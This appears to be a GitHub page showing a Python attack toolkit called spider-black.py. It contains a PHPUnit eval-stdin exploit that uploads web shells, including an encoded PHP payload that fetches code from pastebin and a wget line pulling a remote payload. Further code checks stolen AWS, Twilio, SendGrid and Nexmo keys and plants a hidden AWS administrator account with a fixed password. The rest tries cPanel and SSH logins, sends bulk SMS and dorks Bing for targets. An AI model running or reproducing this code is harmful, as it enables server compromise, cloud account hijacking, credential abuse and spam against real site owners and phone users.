-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathspider-black.py
2858 lines (2605 loc) · 113 KB
/
spider-black.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
from multiprocessing.dummy import Pool
import random,socket,threading
from re import findall as reg
import requests, re, sys, os
try:from colorama import init
except:os.system("pip install colorama vonage")
try:import time,hashlib,datetime,ipaddress,paramiko,smtplib,json,urllib3,io,boto3,random
except:os.system("pip install hashlib ipaddress paramiko smtplib urllib3 io boto3")
from multiprocessing.dummy import Pool
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:from email.mime.text import MIMEText
except:os.system("pip install email")
from email.mime.multipart import MIMEMultipart
from socket import gaierror
try:from twilio.rest import Client
except:os.system("pip install twilio")
init()
fsetting = open("files/yahoo.ini", 'r').read()
pathop = open("files/path.ini", 'r')
pathline = pathop.read().split('\n')
lock = threading.Lock()
rd, gn, lgn, yw, lrd, be, pe = '\033[00;31m', '\033[00;32m', '\033[01;32m', '\033[01;33m', '\033[01;31m', '\033[00;34m', '\033[01;35m'
cn = '\033[00;36m'
white = "\033[97m"
crackt1 = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","/","/"]
crackt = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","-","_"]
region = 0
def slo(s):
for c in s + '\n':
sys.stdout.write(c)
sys.stdout.flush()
time.sleep(0.0001)
def aws_id():
output = 'AKIA'
for i in range(16):
output += random.choice(crackt1[0:38]).upper()
return output
def aws_key():
output = ''
for i in range(40):
if i == 0 or i == 39:
ranUpper = random.choice(crackt1[0:38]).upper()
output += random.choice([ranUpper, random.choice(crackt1[0:38])])
else:
ranUpper = random.choice(crackt1[0:38]).upper()
output += random.choice([ranUpper, random.choice(crackt1)])
return output
Headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) "
"AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
def sg_key():
output = 'SG.'
for i in range(22):
ranUpper = random.choice(crackt[0:38]).upper()
output += random.choice([ranUpper, random.choice(crackt[0:38])])
output += '.'
for i in range(43):
ranUpper = random.choice(crackt[0:38]).upper()
output += random.choice([ranUpper, random.choice(crackt[0:38])])
return output
def print_key_aws(region):
print(f"{lrd}[{lgn}#{lrd}] GENERATE..")
print(f"{lrd}[{lgn}#!{lrd}] aws_access_key_id = {lrd}{aws_id()}")
print(f"{lrd}[{lgn}!{lrd}] aws_secret_access_key= {lrd}{aws_key()}")
save = open('Result/key_generator/aws.txt', 'a')
save.write(aws_id()+'|'+aws_key()+'|'+str(region)+'\n')
def print_key_sendgrid():
print(f"{lrd}[{lgn}#{lrd}] {yw}GENERATE..")
print("{gn}key : {lgn}" + sg_key())
save = open('Result/key_generator/sendgrid.txt', 'a')
save.write(sg_key()+'\n')
save.close()
def twillio_sender():
try:
a = input(f"{lrd}[{lgn}?{lrd}] {gn}input your Account SID : {cn}")
t = input(f"{lrd}[{lgn}?{lrd}] {gn}input your Auth Key : {cn}")
phonelist = input(f"{lrd}[{lgn}?{lrd}] {gn}input your phone list : {cn}")
list = open(phonelist, 'r')
lista = list.read().split('\n')
nopetest = '+12496501752'
time.sleep(1)
print(f"{lrd}[{lgn}#{lrd}] {gn}Checking ....")
time.sleep(1)
date = datetime.datetime.now().strftime('%Y-%m-%d')
balance = get_balance(a,t)
number = get_phone(a,t)
type = get_type(a,t)
bod ='test'
send = send_sms(a,t,bod,number,nopetest)
if send == 'die':
status = 'CANT SEND SMS'
else:
status = 'LIVE'
print (f"""{cn}
------------------------------------------------\n\n
{lrd}[{lgn}+{lrd}] {lgn}STATUS : {lrd}[{gn}{str(status)}{lrd}]
{lrd}[{lgn}+{lrd}] {lgn}Account SID : {lrd}[{gn}{str(a)}{lrd}]
{lrd}[{lgn}+{lrd}] {lgn}Auth Key : {lrd}[{gn}{str(t)}{lrd}]
{lrd}[{lgn}+{lrd}] {lgn}Balance : {lrd}[{gn}{str(balance)}{lrd}]
{lrd}[{lgn}+{lrd}] {lgn}Phone Number list : {lrd}[{gn}{str(number)}{lrd}]
{lrd}[{lgn}+{lrd}] {lgn}Account Type : {lrd}[{gn}{str(type)}{lrd}]\n\n{cn}------------------------------------------------
""")
open('Result/twillio_sender/twilio_result_check.txt','a').write(f"[+] STATUS : [{str(status)}]\n[+] Account SID : [{str(a)}]\n[+] Auth Key : [{str(t)}]\n[+] Balance : [{str(balance)}]\n[+] Phone Number list : [{str(number)}]\n[+] Account Type : [{str(type)}]")
bod = input(f"{lrd}[{lgn}?{lrd}] {lgn}Enter the message : {cn}")
if "LIVE" in str(status):
for i in lista:
try:
if '+1' not in i:
nope = '+1'+i
else:
nope = i
except:
continue
send = send_sms(a,t,bod,number,str(nope))
if send == 'die':
print(f"{lrd} Failed Send => {str(nope)} | Balance : {lgn}{str(get_balance(a,t))}")
open('Result/twillio_sender/fail_send.txt','a').write(nope+'\n')
else:
print(f"{lgn}Success Send => {str(nope)} | Balance : {lgn}{str(get_balance(a,t))}")
open('Result/twillio_sender/success_send.txt','a').write(nope+'\n')
time.sleep(1)
except:
print("INVALID KEY")
def exploit(url):
try:
data = "<?php phpinfo(); ?>"
text = requests.get(url, data=data, timeout=1, verify=False)
urls = url.replace("/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","")
if "phpinfo()" in text.text:
data2 = "<?php eval('?>'.base64_decode('PD9waHAgPz48P3BocApmdW5jdGlvbiBhZG1pbmVyKCR1cmwsICRpc2kpIHsKICAgICRmcCA9IGZvcGVuKCRpc2ksICJ3Iik7CiAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0JJTkFSWVRSQU5TRkVSLCB0cnVlKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GSUxFLCAkZnApOwogICAgcmV0dXJuIGN1cmxfZXhlYygkY2gpOwogICAgY3VybF9jbG9zZSgkY2gpOwogICAgZmNsb3NlKCRmcCk7CiAgICBvYl9mbHVzaCgpOwogICAgZmx1c2goKTsKfQppZiAoYWRtaW5lcigiaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1pLZlhTdUJYIiwgImRldi5waHAiKSkgewogICAgZWNobyAiU3Vrc2VzIjsKfSBlbHNlIHsKICAgIGVjaG8gImZhaWwiOwp9Cj8+')); ?>"
spawn = requests.get(url, data=data2, timeout=1, verify=False)
if "Sukses" in spawn.text:
print(f"{lrd}[{lgn}Shell Info{lrd}] {gn}"+urls+" | {lgn}SHELL SUCCESS")
buildwrite = url.replace("eval-stdin.php","dev.php")+"\n"
shellresult = open("Result/phpunit_shell_1.txt","a")
shellresult.write(buildwrite)
shellresult.close()
else:
print(f"{lrd}[{lgn}Shell Info{lrd}] {gn}{urls} | {lrd}FAILED")
else:
print(f"{lrd}[{lgn}Shell Info{lrd}] {gn}{urls} | {lrd}BAD")
except:
print(f"{lrd}[{lgn}Shell Info{lrd}]{gn} TRY METHOD 2..")
try:
koc = tod.get(urls + "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", verify=False, timeout=1)
if koc.status_code == 200:
peylod = "<?php echo 'Con7ext#'.system('uname -a').'#'; ?>"
peylod2 = "<?php echo 'ajg'.system('wget https://raw.githubusercontent.com/rintod/toolol/master/payload.php -O c.php'); ?>"
ree = tod.post(site + '/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php', data=peylod, verify=False)
if 'Con7ext' in ree.text:
bo = tod.post(site + '/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php', data=peylod2, verify=False)
cok = tod.get(site +"/vendor/phpunit/phpunit/src/Util/PHP/c.php", verify=False)
if cok.status_code == 200 and '>>' in cok.text:
print(f"{lrd}[{lgn}Shell Info{lrd}] {gn}"+urls+" | {lgn}SHELL SUCCESS")
shellresult = open("Result/phpunit_shell_2.txt","a")
shellresult.write(site+"/vendor/phpunit/phpunit/src/Util/PHP/c.php")
shellresult.close()
else:
print(f"{lrd}[{lgn}Shell Info{lrd}] {gn}{urls} | {lrd}BAD")
else:
print(f"{lrd}[{lgn}Shell Info{lrd}] {gn}{urls} | {lrd}BAD")
else:
print(f"{lrd}[{lgn}Shell Info{lrd}] {gn}{urls} | {lrd}BAD")
except:
print(f"{lrd}[{lgn}Shell Info{lrd}] {gn}{urls} | {lrd}BAD")
def get_balance(a,t):
r = requests.get('https://api.twilio.com/2010-04-01/Accounts/'+a+'/Balance.json', auth=(a,t))
Json = json.dumps(r.json())
resp = json.loads(Json)
balance = resp ['balance']
currency = resp ['currency']
return str(balance)+' '+str(currency)
def get_phone(a,t):
client = Client(a,t)
incoming_phone_numbers = client.incoming_phone_numbers.list(limit=20)
for record in incoming_phone_numbers:
return record.phone_number
def get_type(a,t):
client = Client(a,t)
account = client.api.accounts.create()
return account.type
def send_sms(a,t,bod,phone,tos):
try:
client = Client(a,t)
message = client.messages.create(
body=str(bod),
from_= phone,
to=tos
)
return message.status
except:
return 'die'
def checkcpanel(url,user,paswd):
try:
req = requests.get(url + "/cpanel", verify=False)
if req.status_code == 200 and "<a href=\"https://go.cpanel.net/privacy\"" in req.text:
url = url.split("/")
datas = {
"user": user,
"pass": paswd,
"goto": "/"
}
req = requests.post(url[0] + "//" + url[2] + ":2082/login/?login_only=1", data=datas, verify=False)
if "redirect" in req.text and "security_token" in req.text:
cpanel = url + "|" + user + "|" + paswd
sukses = open("Result/cpanel_crack.txt", "a")
sukses.write(cpanel)
sukses.close()
except Exception as e:
print(f"{lrd}[{lgn}!{lrd}] {rd}CPANEL ERROR : {lrd}" + str(e))
try:
bross = url.split("/")
ip = socket.gethostbyname(bross[2])
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip, port=22, username=self.user, password=self.paswd, timeout=4)
cpanel2 = ip + "|" + user + "|" + paswd
sukses = open("Result/ssh_crack.txt", "a")
sukses.write(cpanel2)
sukses.close()
except (paramiko.ssh_exception.AuthenticationException, Exception):
print(f"{lrd}[{lgn}!{lrd}] {rd}SSH ERROR : {lrd}" + str(e))
def sendgridcheck(sapi):
sukses = open("Result/sendgrid_checker/success.txt", "a")
gagal = open("Result/sendgrid_checker/fail.txt", "a")
try:
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0','Authorization': 'Bearer '+sapi}
NexmoGetBalance = requests.get('https://api.sendgrid.com/v3/user/credits',headers=headers)
Limit = json.loads(NexmoGetBalance.text)["total"]
Used = json.loads(NexmoGetBalance.text)["used"]
SendgridMf = requests.get('https://api.sendgrid.com/v3/user/email',headers=headers)
Mf = json.loads(SendgridMf.text)['email']
print(f'{lrd}[{lgn}+{lrd}] {lgn}User : {lrd}\n{lrd}[{lgn}+{lrd}] {lgn}Limit : {gn}{Limit}\n{lrd}[{lgn}+{lrd}] {lgn}Used : {gn}{Used}\n{lrd}[{lgn}+{lrd}] {lgn}Mail From : {gn}{Mf}')
sukses.write('user : {apikey'"\n"'stripkey : '+sapi+"\nStatus : %s\n" % Limit)
sukses.write("used : %s\n" % Used)
sukses.write("mailfrom : %s\n" % Mf)
sukses.write("---------------------------------------------------------------------------\n")
sukses.close()
except:
print(f"{lrd}[{lgn}{sapi}{lrd}] : {rd}Get data failed")
gagal.write(sapi+" -> Failed Get Data\n")
def awslimitcheck(ACCESS_KEY,SECRET_KEY,REGION):
try:
email = ACCESS_KEY
password = SECRET_KEY
region = REGION
client = boto3.client(
'ses'
,aws_access_key_id=email
,aws_secret_access_key=password
,region_name = region)
data = "[O][ACCOUNT]{}|{}|{}".format(email,password,region)
with lock:
print(f"{lgn} {data}")
response = client.get_send_quota()
with lock:
print(f"{lrd}[{lgn}+{lrd}] {lgn} [{gn}Account Active{lgn}]")
limit = f"Max Send email 24 Hours: {response['Max24HourSend']} "
ddd = client.list_verified_email_addresses(
)
getEmailListVer = f"Email Verification from mail:{ddd['VerifiedEmailAddresses']}"
with lock:
print(getEmailListVer)
response = client.list_identities(
IdentityType='EmailAddress',
MaxItems=123,
NextToken='',
)
listemail = f"Email: {response['Identities']}"
with lock:
print(listemail)
statistic = client.get_send_statistics()
getStatistic = f"{lgn}Email Sent Today Ini : {gn}{statistic['SendDataPoints']}"
with lock:
print(getStatistic)
print(f"{lrd}[{lgn}+{lrd}] {lgn}All Data")
xxx = email+"|"+password+"|"+region + "|" + limit +"|" + listemail
with lock:
print(xxx)
remover = str(xxx).replace('\r', '')
simpan = open('Success_Check_aws_key_limit.txt', 'a')
simpan.write(remover+'\n\n')
simpan.close()
with lock:
print(f"{lrd}[{lgn}+{lrd}] {lgn}Total SimpValid : {gn}{totz}")
response = client.list_users(
)
print(response)
except:
print(f"{lrd}[{lgn}+{lrd}] {lgn}[Account DIE] | {cn}region => {gn}{REGION}")
pass
def nexmosend(url,a,s):
r = requests.get('https://rest.nexmo.com/sms/json?api_key='+str(a)+'&api_secret='+str(s)+'&to=+923117708953&text=test&from=TEST')
Json = json.dumps(r.json())
resp = json.loads(Json)
test = resp['messages']
try:
balance = test[0]["remaining-balance"]
except:
balance = "Error"
try:
errorcode = test[0]["error-text"]
except:
errorcode = "UNKNOWN"
if "Quota Exceeded - rejected" in errorcode:
print(f"{str(a)} => {lgn}Quota Exceeded - rejected | Balance :{lrd} {str(balance)}")
elif "Bad Credentials" in errorcode:
print(f"{str(a)} => {lrd}Bad Credentials")
elif "Error" not in balance:
print(f"{str(a)} => {lgn}Valid | Balance :{lrd} {str(balance)}")
build = 'API_KEY : '+str(a)+'\nAPI_SECRET : '+str(s)+'\nBALANCE : '+str(balance)+'\n\n'
save = open('Result/valid_nexmo.txt', 'a')
save.write(build)
save.close()
else:
print(f"{str(a)} => {lgn}Cant Send to US | error code: str(errorcode)")
build = 'API_KEY : '+str(a)+'\nAPI_SECRET : '+str(s)+'\nBALANCE : '+str(balance)+'ERROR : '+str(errorcode)+'\n\n'
save = open('Result/valid_nexmo.txt', 'a')
save.write(build)
save.close()
def twilliocheck(url,acc_sid,acc_key,acc_from):
account_sid = acc_sid
auth_token = acc_key
client = Client(account_sid, auth_token)
account = client.api.accounts.create()
if "Unable to create record: Authenticate" not in account.sid:
print("TWILLIO VALID SEND API")
balance = get_balance(acc_sid,acc_key)
number = get_phone(acc_sid,acc_key)
type = get_type(acc_sid,acc_key)
bod ='test'
nopetest = '+12496501752'
send = send_sms(acc_sid,acc_key,bod,number,nopetest)
if send == 'die':
status = 'CANT SEND SMS TO US'
else:
status = 'LIVE'
save = open('Result/valid_twillio.txt', 'a')
build = 'URL: '+str(url)+'\nSTATUS : '+format(str(status))+'\nAccount SID : '+str(acc_sid)+'\nAuth Key: '+str(acc_key)+'\nBalance : '+format(str(balance))+'\nFROM: '+format(str(number))+'\nAccount Type : '+format(str(type))+'\n\n------------------------------------------------\n'
save.write(build)
save.close()
def autocreate(ACCESS_KEY,SECRET_KEY,REGION):
try:
UsernameLogin = "jSDSsajsnhjjjjjjwyyw"
user = ACCESS_KEY
keyacces = SECRET_KEY
regionz = REGION
client = boto3.client(
'iam'
,aws_access_key_id=user
,aws_secret_access_key=keyacces
,region_name = regionz)
data = "[O][ACCOUNT]{}|{}|{}".format(user,keyacces,regionz)
with lock:
print(data)
Create_user = client.create_user(
UserName=UsernameLogin,
)
with lock:
print(f"{lrd}[{lgn}+{lrd}] {lgn}succes create iam lets go to dashboard!")
bitcg = f"User: {Create_user['User'] ['UserName']}"
xxxxcc = f"User: {Create_user['User'] ['Arn']}"
with lock:
print(bitcg)
with lock:
print(xxxxcc)
with lock:
print(Create_user)
pws = "admajsd21334#1ejeg2shehhe"
with lock:
print("Username = " + UsernameLogin)
print("create acces login for" + UsernameLogin)
Buat = client.create_login_profile(
Password=pws,
PasswordResetRequired=False,
UserName=UsernameLogin
)
with lock:
print(Buat)
with lock:
print(f"{lrd}[{lgn}+{lrd}] {lgn}password : {gn}" + pws)
with lock:
print(f"{lrd}[{lgn}+{lrd}] {lgn}give access User to Admin")
Admin = client.attach_user_policy(
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess',
UserName=UsernameLogin,
)
xxx = UsernameLogin+"|"+pws+"|"+bitcg + "|" + xxxxcc
with lock:
print(xxx)
remover = str(xxx).replace('\r', '')
with lock:
print(f"{lrd}[{lgn}+{lrd}] {lgn}Success crack.. save in imaccount.txt")
simpan = open('Result/IamAccount.txt', 'a')
simpan.write(remover+'\n\n')
simpan.close()
with lock:
print(Admin)
response = client.delete_access_key(
AccessKeyId=user
)
with lock:
print(response)
with lock:
print(f"{lrd}[{lgn}+{lrd}] {lgn}succesful your key is privat only now !")
with lock:
print(f"{lgn}{ACCESS_KEY} ==> Success Create User")
except Exception as e:
with lock:
print(f"{lgn}ACCESS_KEY+ ==> {lrd}Failed Create User")
pass
def autocreateses(url,ACCESS_KEY,SECRET_KEY,REGION):
try:
UsernameLogin = "jSDSsajsnhjjjjjjwyyw"
user = ACCESS_KEY
keyacces = SECRET_KEY
regionz = REGION
client = boto3.client(
'iam'
,aws_access_key_id=user
,aws_secret_access_key=keyacces
,region_name = regionz)
data = "[O][ACCOUNT]{}|{}|{}".format(user,keyacces,regionz)
with lock:
print(data)
Create_user = client.create_user(
UserName=UsernameLogin,
)
with lock:
print(f"{lrd}[{lgn}+{lrd}] {lgn}succes create iam lets go to dashboard!")
bitcg = f"User: {Create_user['User'] ['UserName']}"
xxxxcc = f"User: {Create_user['User'] ['Arn']}"
with lock:
print(bitcg)
with lock:
print(xxxxcc)
with lock:
print(Create_user)
pws = "admajsd21334#1ejeg2shehhe"
with lock:
print("Username = " + UsernameLogin)
print("create acces login for" + UsernameLogin)
Buat = client.create_login_profile(
Password=pws,
PasswordResetRequired=False,
UserName=UsernameLogin
)
with lock:
print(Buat)
with lock:
print(f"{lrd}[{lgn}+{lrd}] {lgn}password : {gn}" + pws)
with lock:
print(f"{lrd}[{lgn}+{lrd}] {lgn}give access User to Admin")
Admin = client.attach_user_policy(
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess',
UserName=UsernameLogin,
)
xxx = url+"|"+UsernameLogin+"|"+pws+"|"+bitcg + "|" + xxxxcc
with lock:
print(xxx)
remover = str(xxx).replace('\r', '')
with lock:
print(f"{lrd}[{lgn}+{lrd}] {lgn}Success crack.. save in imaccount.txt")
simpan = open('Result/IamAccount.txt', 'a')
simpan.write(remover+'\n\n')
simpan.close()
with lock:
print(Admin)
response = client.delete_access_key(
AccessKeyId=user
)
with lock:
print(response)
with lock:
print(f"{lrd}[{lgn}+{lrd}] {lgn}succesful your key is privat only now !")
with lock:
print(f"{lgn}{ACCESS_KEY} Success Create User")
except Exception as e:
with lock:
print(f"{lgn}{ACCESS_KEY} {lrd}Failed Create User")
pass
class dorker(object):
def __init__(self,dork,pages,proxy):
self.dork = dork
self.page_ammount = pages
self.domains_bing = []
self.proxy_required = proxy
self.first_page_links = []
def filter_and_adding(self,domains_list):
alert_string = lrd + '[' + lgn + 'INFO' + lrd + ']' + cn
print(alert_string+"-> Checking Smtp ..")
print()
data = open('blacklist/sites.txt').readlines()
new_data = [items.rstrip() for items in data]
for domains in domains_list:
domain_data = domains.split('/')
new_domain = domain_data[0]+"//"+domain_data[2]+'/'
if new_domain not in new_data:
self.domains_bing.append(new_domain)
jembotngw2(new_domain)
print(new_domain,file=open('result/sitesgrab.txt', 'a'))
def first_page(self):
try:
url = "https://www.bing.com/search?q=" + self.dork + "&first=" + '1' + "&FORM=PERE"
header = {
'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0'
}
source_code = requests.get(url, headers=header).text
keyword = '<li class="b_algo"><h2><a href="'
split_data = source_code.split(keyword)
for x in range(10):
links_ = split_data[x + 1].split('"')[0]
self.first_page_links.append(links_)
except IndexError:
pass
def searcher(self):
for i in range(self.page_ammount):
url = "https://www.bing.com/search?q=" + self.dork +"&first=" + str(i)+'1' + "&FORM=PERE"
info_string_box = lrd+'['+lgn+'-'+lrd+']'+cn
added_sting = lrd + '[' + lgn + '+' + lrd + ']' + cn
print(info_string_box+f" Printing Page {i}")
print()
header = {
'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0'
}
try:
source_code = requests.get(url,headers=header).text
keyword = '<li class="b_algo"><h2><a href="'
split_data = source_code.split(keyword)
temporary_domain_list = []
try:
for x in range(10):
links_ = split_data[x+1].split('"')[0]
temporary_domain_list.append(links_)
print(added_sting+" - "+links_)
except IndexError:
pass
print()
print(f'{yw}--------')
self.filter_and_adding(temporary_domain_list)
except requests.exceptions.HTTPError:
print(f"{lrd}[{lgn}!{lrd}] {lrd}Http error retrying")
continue
except requests.exceptions.ConnectTimeout:
print(f"{lrd}[{lgn}!{lrd}] {lrd}Connection timed out error retrying")
continue
except requests.exceptions.Timeout:
print(f"{lrd}[{lgn}!{lrd}] {lrd}Timeout error retrying")
continue
if i != 0:
if self.first_page_links == temporary_domain_list:
print(f"{lrd}[{lgn}+{lrd}] {lgn}Same Urls Found Again. Last Resulsts Reached | Removing Dublicates.")
break
def start(self):
self.first_page()
self.searcher()
print(f"Done Total sites scrapped {len(self.domains_bing)}")
proxy_error = 0
sites_list = []
if os.name == "nt":
try:os.system("cls")
except:os.system("clear")
init(convert=True)
def ip_grabber(site,sites_length,current):
try:
ip = socket.gethostbyname(site)
info_string_box = lrd + '[' + lgn + 'SITE' + lrd + ']' + cn
added_sting = lrd + '[' + lgn + 'IP' + lrd + ']' + cn
print(info_string_box + f': {site} - ' + added_sting + f': {ip}')
oother = open('result/websitetoip.txt', "a")
oother.write(ip+"\n")
oother.close()
except socket.gaierror:
pass
def ip_grabberautoscan(site,sites_length,current):
try:
ip = socket.gethostbyname(site)
info_string_box = lrd + '[' + lgn + 'SITE' + lrd + ']' + cn
added_sting = lrd + '[' + lgn + 'IP' + lrd + ']' + cn
print(info_string_box + f': {site} - ' + added_sting + f': {ip}')
dorkscan(ip)
oother = open('result/websitetoip.txt', "a")
oother.write(ip+"\n")
oother.close()
except socket.gaierror:
pass
def clean():
lines_seen = set()
Targetssa = input(f"{lrd}[{lgn}?{lrd}] {lgn}Input Your List : {cn}{cn}")
outfile = open('rd-'+Targetssa, "a")
infile = open(Targetssa, "r")
for line in infile:
if line not in lines_seen:
outfile.write(line)
lines_seen.add(line)
outfile.close()
infile.close()
print(f"{lrd}[{lgn}+{lrd}] {lgn}Duplicate removed successfully!\n{lrd}[{lgn}+{lrd}] {lgn}saved as rd- {str(Targetssa)}\n{lrd}[{lgn}+{lrd}] {lgn}Load Menu on 1 sec\n{yw}-------------------------------------")
time.sleep(1)
spider_black()
def autodork():
dork = input(f"{lrd}[{lgn}?{lrd}] {lgn}Dork/Keyword [not a file but type directly] :{cn} ")
print()
print(f"{lrd}[{lgn}+{lrd}] {lgn}select your country, all for global | for country search in,de,fr type directly without\n")
country = input(f"{lrd}[{lgn}?{lrd}] {lgn}Country: {cn}")
if country == 'all':
dork_new = dork
else:
dork_new = dork+' site:'+country
# Perform anti public actions here
pages_ = input(f"{lrd}[{lgn}?{lrd}] {lgn}Pages [Note: Bing may have limited results] : {cn}")
dorker(dork_new,int(pages_),False).start()
binglist = {"http://www.bing.com/search?q=&count=50&first=1",
"http://www.bing.com/search?q=&count=50&first=51",
"http://www.bing.com/search?q=&count=50&first=101",
"http://www.bing.com/search?q=&count=50&first=151",
"http://www.bing.com/search?q=&count=50&first=201",
"http://www.bing.com/search?q=&count=50&first=251",
"http://www.bing.com/search?q=&count=50&first=301",
"http://www.bing.com/search?q=&count=50&first=351",
"http://www.bing.com/search?q=&count=50&first=401",
"http://www.bing.com/search?q=&count=50&first=451",
"http://www.bing.com/search?q=&count=50&first=501",
"http://www.bing.com/search?q=&count=50&first=551",
"http://www.bing.com/search?q=&count=50&first=601",
"http://www.bing.com/search?q=&count=50&first=651",
"http://www.bing.com/search?q=&count=50&first=201",
"http://www.bing.com/search?q=&count=50&first=201",
"http://www.bing.vn/search?q=&count=50&first=101"}
def dorkscan(dork):
jembotngw2(dork)
if "ip" not in dork:
dork = " ip:\""+dork+"\" "
print(f"{lrd}[{lgn}+{lrd}] {lgn}START REVERSE FROM IP => {gn}{dork}")
for bing in binglist:
bingg = bing.replace("&count",dork+"&count")
try:
r = requests.get(bingg)
checktext = r.text
checktext = checktext.replace("<strong>","")
checktext = checktext.replace("</strong>","")
checktext = checktext.replace('<span dir="ltr">','')
checksites = re.findall('<cite>(.*?)</cite>',checktext)
for sites in checksites:
sites = sites.replace("http://","protocol1")
sites = sites.replace("https://","protocol2")
sites = sites + "/"
site = sites[:sites.find("/")+0]
site = site.replace("protocol1","http://")
site = site.replace("protocol2","https://")
try:
jembotngw2(site)
except:
pass
except:
pass
def dorkscansave(dork):
jembotngwsave(dork)
if "ip" not in dork:
dork = " ip:\""+dork+"\" "
print(f"{lrd}[{lgn}+{lrd}] {lgn}START REVERSE FROM IP => {gn}{dork}")
for bing in binglist:
bingg = bing.replace("&count",dork+"&count")
try:
r = requests.get(bingg)
checktext = r.text
checktext = checktext.replace("<strong>","")
checktext = checktext.replace("</strong>","")
